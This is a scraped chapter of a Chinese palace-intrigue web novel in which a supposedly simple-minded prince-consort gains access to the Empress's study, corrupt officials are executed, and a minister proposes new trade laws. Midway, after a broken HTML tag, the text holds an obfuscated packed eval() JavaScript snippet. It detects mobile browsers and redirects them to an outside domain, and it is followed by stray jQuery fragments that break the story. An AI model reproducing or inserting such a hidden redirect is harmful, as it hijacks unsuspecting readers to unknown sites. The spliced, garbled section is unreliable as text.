第九十九章 获得议政权

作品:《逼我去和亲,我称帝你哭什么?

    其余官员,无论心中作何感想,也都立刻跪倒在地,山呼万岁。


    “退朝!”


    御书房,檀香袅袅,气氛静谧而庄重。


    这里是大璃国权力的心脏。


    女帝月清瑶端坐案后,上官婉与慕容雪分立两侧。


    李显对那方雕刻着九龙戏珠的紫檀木笔筒,产生了浓厚的兴趣,伸出手指,小心翼翼地戳了戳。


    月清瑶静静地看着他。


    那双洞悉世事的凤眸里,第一次,对这个“傻王夫”流露出发自内心的审视与欣赏。


    这个男人,用最痴傻的姿态,完成了最凌厉的绝杀。


    她缓缓开口,声音带着一抹不易察觉的笑意。


    “显儿。”


    李显回过头,嘴巴微张,一副懵懂的样子。


    “这次的猪,杀得好。”


    上官婉与慕容雪心中同时一凛。


    李显却仿佛没听懂,只是嘿嘿傻笑。


    女帝继续说道。


    “以后朕批阅奏章的时候,你就在旁边玩。”


    “看到什么有趣的画儿,随时告诉朕。”


    此言一出,上官婉与慕容雪忽地对视一眼。


    皆从对方眼中,看到了深深的震撼。


    这已经不是暗示。


    这是赤裸裸的授权!


    默许李显旁观政务,甚至拥有了潜在的议政之权!


    一个“痴傻”的王夫,从此可以自由出入大璃国最核心的权力中枢。


    这个男人的地位,从今天起,已是今非昔比。


    数日后,午门之外,人头攒动。


    “斩!”


    监斩官一声令下,鬼头刀寒光一闪。


    钱庸、孙槐等人头落地,血溅三尺。


    其核心党羽,或流放三千里,或抄家罢官,永不录用。


    一场席卷朝堂的清洗,以雷霆万钧之势,肃清了积弊已久的官场。


    大璃国库,前所未有的充盈。


    女帝威望,如日中天。


    而“祥瑞王夫,一言杀猪”的传说,也如风一般,传遍了天下。


    长公主府。


    啪!


    一只上好的官窑茶盏,被狠狠摔在地上,四分五裂。


    月思华的脸上,再无往日的温婉和煦,只剩下冰冷的阴鸷。


    孙槐是她的重要棋子,也是她敛财的重要渠道!


    就这么被连根拔起了!


    最让她心惊的,是那个一直被她当成废物的傻子,李显。


    好一个杀肥猪!


    这个男人,不是祥瑞。


    他是一把能要了她命的刀!


    “李显。”


    她从牙缝里,挤出这两个字,眼中杀意毕现。


    与此同时,大胤皇宫。


    胤帝看着密探传回的奏报,脸色阴沉。


    祥瑞?


    杀猪?


    那个他视为毕生耻辱的痴傻儿子,在璃月国,竟成了福星?


    这简直是天底下最大的笑话!


    更像是一记响亮的耳光,狠狠抽在他的脸上。


    大燕军帐。


    将领萧赫将情报扔在桌上,嘴角露出一抹冷笑。


    “有意思。”


    “一个傻子,搅动了璃月国的朝堂。”


    “传令下去,给我盯紧这个大胤九皇子,他的一举一动,我都要知道。”


    风暴的中心,御书房内。


    李显正百无聊赖地把玩着女帝赏赐的一方羊脂白玉镇纸。


    玉质温润,触手冰凉,正好能让他纷乱的思绪,冷静下来。


    他的面前,摊开着一本奏折。


    眼神扫过上面“边防军备废弛”、“幽州粮草告急”的字样。


    他的目光,没有丝毫波动。


    痴傻的伪装之下,是一双深不见底的眼眸。


    查贪,只是开始。


    充盈国库,也只是第一步。


    他知道,钱庸倒下,还会有无数个“钱庸”隐藏在暗处。


    那些贪官的残余势力,那些被他断了财路的人,对他的恨意,只会更深。


    长公主月思华,也绝不会善罢甘休。


    而现在,他拥有了这间御书房的特权。


    他将能更深,更广地触摸到这个庞大帝国的真正脉搏。


    找到更多的“肥猪”。


    更重要的,是为那张已经在他心中描绘了无数次的宏大蓝图,积蓄最坚实的力量。


    统一天下。


    这,才是他真正的猎场。


    风波过后,大璃朝堂迎来了一段诡异的平静。


    那日午门前的血,似乎还未干透。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088215|178728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    金銮殿上,百官垂首,人人自危,生怕下一个就轮到自己。


    上官婉手持玉笏,自百官班列中走出。


    她一身绯色官袍,身姿挺拔,面容清冷,却自有一股山崩于前而色不变的沉稳。


    “臣,上官婉,有本启奏。”


    清亮的声音,在大殿中激起层层回响。


    “为保我大璃国库长久充盈,商路通达,臣奏请推行新商律。”


    她展开手中奏章,条陈清晰,字字铿锵。


    “一,统一全国商税,无论宗室、世家、平民,一体纳税,废除过往一切免税特权。”


    “二,设通商司,鼓励南北货物互通,开辟西域商路,凡有开拓之功者,朝廷予以重赏。”


    “三……”


    一条条律令,狠狠砸在殿中某些人的心口上。


    这哪里是新商律。


    这分明是从世家大族和藩王身上割肉!


    “荒唐!”


    一声暴喝,打断了上官婉。


    礼部尚书周雍,面红耳赤地冲出班列。


    “上官大人!你此举与民争利,苛待士绅,乃是动摇我大璃国本之举!”


    “祖宗之法,传承百年,岂能由你一介女流,说改就改!”


    周雍乃是三代老臣,门生故旧遍布朝野,他这一开口,立刻引来一片附和之声。


    “周大人所言极是!国本不可轻动啊!”


    “祖制不可废!”


    这时,一名衣着华贵的官员也站了出来,向上首的女帝深深一拜。


    他是月南王的王府长史,代表着藩王的利益。


    “陛下!月南王托臣上表,言新律盘剥过甚,藩地本就贫瘠,全赖名下几处产业维生。”


    “若行此法,无异于釜底抽薪,届时地方不稳,民心思变,后果不堪设想啊!”


    “请陛下三思!”


    他这番话,看似诉苦,实则威胁。


    言外之意便是,若是硬来,就别怪他们反了!


    一时间,朝堂之上,支持与反对之声,激烈冲撞。


    以清流派为首的官员,力挺上官婉,认为此乃富国强兵之良策。


    而与世家、藩王利益相关的旧臣,则痛斥其为祸国殃民之恶法。


    争吵声,辩论声,几乎要将金銮殿的殿顶掀翻。